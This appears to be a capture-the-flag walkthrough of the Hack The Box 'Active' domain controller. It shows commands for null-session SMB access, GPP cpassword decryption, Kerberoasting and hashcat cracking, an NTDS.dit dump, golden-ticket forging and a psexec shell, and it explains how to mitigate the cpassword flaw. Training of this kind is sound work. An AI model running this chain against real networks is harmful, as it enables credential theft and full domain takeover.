Active HTB Walkthrough
Active Hack The Box Walkthrough/Writeup:
How I use variables & Wordlists:
-
Variables:
- In my commands you are going to see me use
$box
,$user
,$hash
,$domain
,$pass
often.- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
$box
= The IP of the box$pass
= Passwords I have access to.$user
= current user I am enumerating with.- Depending on where I am in the process this can change if I move laterally.
$domain
= the domain name e.g.sugarape.local
orcontoso.local
$machine
= the machine name e.g.DC01
- Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
- In my commands you are going to see me use
-
Wordlists:
- I have symlinks all setup so I can get to my passwords from
~/Wordlists
so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to/usr/share/wordlists
- I also use these additional wordlists:
- I have symlinks all setup so I can get to my passwords from
1. Enumeration:
NMAP:
Basic Scans:
- Basic TCP Scan:
nmap $box -Pn -oA TCPbasicScan
kali in HTB/BlogEntriesMade/Active/scans/nmap ๐ฃ main ๐ ร115๐ค๏ธ ร225 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh ๐ 21:57:59 zsh โฏ nmap $box -Pn -oA TCPbasicScan Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 21:58 GMT Nmap scan report for 10.129.58.199 Host is up (0.041s latency). Not shown: 983 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49157/tcp open unknown 49158/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 3.89 seconds
- Initial thoughts:
- SMB, Kerberos, SMB, LDAP & RPC are great enumeration targets
Comprehensive Scans:
-
In depth scan TCP:
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
kali in HTB/BlogEntriesMade/Active/scans/nmap ๐ฃ main ๐ ร115๐ค๏ธ ร225 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh ๐ 21:58:38 zsh โฏ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 21:59 GMT Nmap scan report for 10.129.58.199 Host is up (0.040s latency). Not shown: 65512 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-01 15:05:52Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5722/tcp open msrpc Microsoft Windows RPC 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49162/tcp open msrpc Microsoft Windows RPC 49166/tcp open msrpc Microsoft Windows RPC 49168/tcp open msrpc Microsoft Windows RPC No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=11/1%OT=53%CT=1%CU=39275%PV=Y%DS=2%DC=I%G=Y%TM=6725 OS:510D%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=104%CI=I%II=I%TS=7)SEQ(S OS:P=105%GCD=1%ISR=104%TI=I%CI=I%II=I%TS=7)OPS(O1=M53CNW8ST11%O2=M53CNW8ST1 OS:1%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000% OS:W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CN OS:W8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R= OS:Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=A OS:R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%D OS:F=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=8 OS:0%CD=Z) Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2:1:0: |_ Message signing enabled and required | smb2-time: | date: 2024-11-01T15:07:00 |_ start_date: 2024-11-01T14:46:20 |_clock-skew: -7h00m00s OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 452.68 seconds
LDAP 389
:
Using LDAP anonymous bind to enumerate further:
-
If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
- We can actually retrieve a significant amount of information via anonymous bind such as:
- A list of all users
- A list of all groups
- A list of all computers.
- User account attributes.
- The domain password policy.
- Enumerate users who are susceptible to AS-REPRoasting.
- Passwords stored in the description fields
- The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
- We can actually retrieve a significant amount of information via anonymous bind such as:
-
I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here
- https://github.com/bloodstiller/ldapire
- https://bloodstiller.com/cheatsheets/ldap-cheatsheet/#ldap-boxes-on-htb
python3 ldapchecker.py $box
- It will dump general information & also detailed & simple information including:
- Groups
- Users
- It will dump general information & also detailed & simple information including:
-
It turns out the anonymous bind is enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.
-
We have the naming context of the domain:
kali in HTB/BlogEntriesMade/Active/scans/ldap ๐ฃ main ๐ ร115๐ค๏ธ ร225 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh ๐ 22:00:23 zsh โฏ python3 /home/kali/windowsTools/enumeration/ldapire.py $box Attempting to connect to 10.129.58.199 with SSL... Failed to connect with SSL. Attempting to connect to 10.129.58.199 with non-SSL... Connected successfully using anonymous bind. Retrieving server information... DSA info (from DSE): Supported LDAP versions: 3, 2 Naming contexts: DC=active,DC=htb CN=Configuration,DC=active,DC=htb CN=Schema,CN=Configuration,DC=active,DC=htb DC=DomainDnsZones,DC=active,DC=htb DC=ForestDnsZones,DC=active,DC=htb
-
We have the domain functionality level:
domainFunctionality: 4 forestFunctionality: 4 domainControllerFunctionality: 4
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
+Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.
-
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels
-
Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.
-
In this case we can see it is level 4 which means that this server has to be running Windows Server 2008 or newer.
-
Hereโs a list of functional level numbers and their corresponding Windows Server operating systems:
Functional Level Number Corresponding OS 0 Windows 2000 1 Windows Server 2003 Interim 2 Windows Server 2003 3 Windows Server 2008 4 Windows Server 2008 R2 5 Windows Server 2012 6 Windows Server 2012 R2 7 Windows Server 2016 8 Windows Server 2019 9 Windows Server 2022 - +Note+:
- Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
- As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
- +Note+:
-
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
We have the full server name:
- Again we can see this has the CN as the base (mentioned previously.)
serverName: CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=active,DC=htb
- Again we can see this has the CN as the base (mentioned previously.)
-
-
It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.
- We have the naming context.
- Domain name.
-
I update my
/etc/hosts
file now that we have the server name.- This is so we can use tools like kerbrute for user enumeration as well as other tools later on.
echo "$box $domain $machine.$domain" | sudo tee -a /etc/hosts
DNS 53
:
- Using dnsenum to enumerate DNS entries:
dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
- Nothing of note just standard dns entries for a DC.
Kerberos 88
:
Using Kerbrute to bruteforce Usernames:
- As kerberos is present we can enumerate users using kerbrute:
kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt
- Nothing of note.
SMB 445
:
Attempting to connect with NULL & Guest sessions:
- This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold:
netexec smb $box -u '' -p '' --shares
- Null session is valid:
- We can see we can access the replication Share:
netexec smb $box -u 'guest' -p '' --shares
- Guest account is disabled:
Enumerating the Replication share using smbclient:
-
As we can connect using a null session we can use smbclient to enumerate the replication share:
smbclient -N "\\\\$box\\Replication"
-
Enumerating the share I find a
Groups.xml
file in thePolices
folder: -
I download it:
get {31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
Finding hard-coded creds for SVC_TGS user:
- In the Groups.xml I find hard-coded credentials, albeit hashed in the file.
cpassword primer:
-
TL’DR: The
cpassword
attribute in Group Policy Preferences (GPP) stores encrypted passwords for accounts configured through GPP. This can be decrypted usinggpp-decrypt
(in kali). -
Purpose and Function:
- Purpose: Used in GPP to store passwords for tasks like setting local administrator accounts, mapping network drives, and configuring services. (in this case the SVC_TGS service)
- Attribute: Appears in the XML files of GPP as
cpassword
, storing the encrypted password value. - Files: Typically found in
SYSVOL
folder of a domain, making it accessible to any domain user.- However as you can see it can be present in any share.
-
Encryption and Format:
- Encryption: AES-256-CBC, but with a +static key+ that was hardcoded by Microsoft.
- You read that right, MS hardcoded the a static key for thisโฆ.
- Key Problem: The static encryption key is publicly known, which effectively nullifies the security benefits of encryption. We can decrypt it using the tool gpp-decrypt
- Encoding: The encrypted password is Base64-encoded, making it readable as an alphanumeric string in XML files.
- Encryption: AES-256-CBC, but with a +static key+ that was hardcoded by Microsoft.
-
Vulnerability and Security Concerns:
- Access and Exploitability: Since the
SYSVOL
share is accessible to all authenticated domain users, anyone can read the XML files containingcpassword
. - Decryption: Due to the static key, tools like
gpp-decrypt
(or manual decryption using the known key) can easily decrypt the password. - Privilege Escalation: Attackers, like us, can leverage
cpassword
to obtain plaintext passwords, often leading to privilege escalation by compromising local or service accounts with elevated privileges.
- Access and Exploitability: Since the
-
Microsoft’s response to the key disclosure:
- Microsoft discontinued the use of
cpassword
in GPP with a patch in 2014 (MS14-025
), which removed the ability to set passwords in GPP.- The only reason this is present on this machine is that it’s running windows server 2008.
- Microsoft advised using more secure methods like
LAPS (Local Administrator Password Solution)
for managing local administrator credentials.
- Microsoft discontinued the use of
-
Mitigation and Detection
- Removal of Legacy GPPs: Ensure any remaining GPP configurations with
cpassword
are removed from domain controllers. - Access Controls: Limit access to the
SYSVOL
share, though this is challenging due to default domain-wide access. - Use of LAPS: Implementing LAPS or other secure solutions for local password management can prevent similar vulnerabilities.
- Removal of Legacy GPPs: Ensure any remaining GPP configurations with
Decrypting the SVC_TGS password using gpp-decrypt:
-
I decrypt the password using
gpp-decrypt
:gpp-decrypt [hash]
-
Checking if the creds are valid:
netexec smb $box -u $user -p $pass --shares
- Looks like we have access to
Users
share
2. Foothold:
Enumerating Users with impacket-lookupsid:
- As we have valid creds now I like to enumerate all users groups on the domain.
- We can use
impacket-lookupsid
to enumerate users on the domain:impacket-lookupsid $domain/$user@$machine.$domain -domain-sids
- Not many users on the domain.
Enumerating the users share as SVC_TGS:
-
I connect as the SVC_TGS user using smbclient:
smbclient -U $user "\\\\$box\\Users"
-
Looking at the share it’s user home folders:
-
I try and access the administrator folder but I am denied:
-
Checking our home folder I retrieve the user flag
I query all users and groups using rpcclient:
- This does provide any additional information.
3. Privilege Escalation:
Extracting the Administrator Hash via Kerberoasting:
- I try kerberoasting with netexec:
netexec ldap $box -u $user -p $pass --kerberoasting kerb.out
- I get a hit for the administrator:
- +Note+: It’s good practice to try Kerberoasting when we have creds as it can provide an easy win.
Cracking the Admin Hash:
-
hashcat -m 13100 kerb.out ~/Wordlists/rockyou.txt
-
We crack it:
-
I check the cred using netexec & it works:
4. Ownership:
Cracking the Admin Hash to reveal the clear-text password
-
hashcat -m 13100 kerb.out ~/Wordlists/rockyou.txt
-
We crack it and :
-
I check the cred using netexec & it works:
5. Persistence:
Dumping NTDS.dit/DC-SYNC attack:
-
Perform DC-Sync attack using netexec:
netexec smb $box -u $user -p $pass -M ntdsutil
-
Extract all hashes from netexec
cat /home/kali/.nxc/logs/*.ntds | cut -d ':' -f1,2,4 --output-delimiter=' ' | awk '{print $3, $2, $1}'
Creating a Kerberos Golden Ticket:
-
Using
impacket-lookupsid
to get the Search for the Domain SID:impacket-lookupsid $domain/$user@$machine.$domain -domain-sids
-
S-1-5-21-405608879-3187717380-1996298813
-
Sync our clock to the host using ntupdate:
sudo ntpdate -s $domain
-
Using
impacket-ticketer
to create the Golden Ticket:impacket-ticketer -nthash [KRBTGTHash] -domain-sid [SID] -domain $domain Administrator
-
Export the ticket to the
KRB5CCNAME
Variable:export KRB5CCNAME=./Administrator.ccache
-
Use the ticket for connecting via
psexec
impacket-psexec -k -no-pass $machine.$domain
-
Lets get the root flag:
Lessons Learned:
What did I learn?
- Try simple, kerberoast when we have creds can lead to easy wins and privesc paths.
What silly mistakes did I make?
- Had a brainfart in regards to using psexec that was fun.
Sign off:
Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!
Until next time, hack the planet!
โ Bloodstiller
โ Get in touch bloodstiller at proton dot me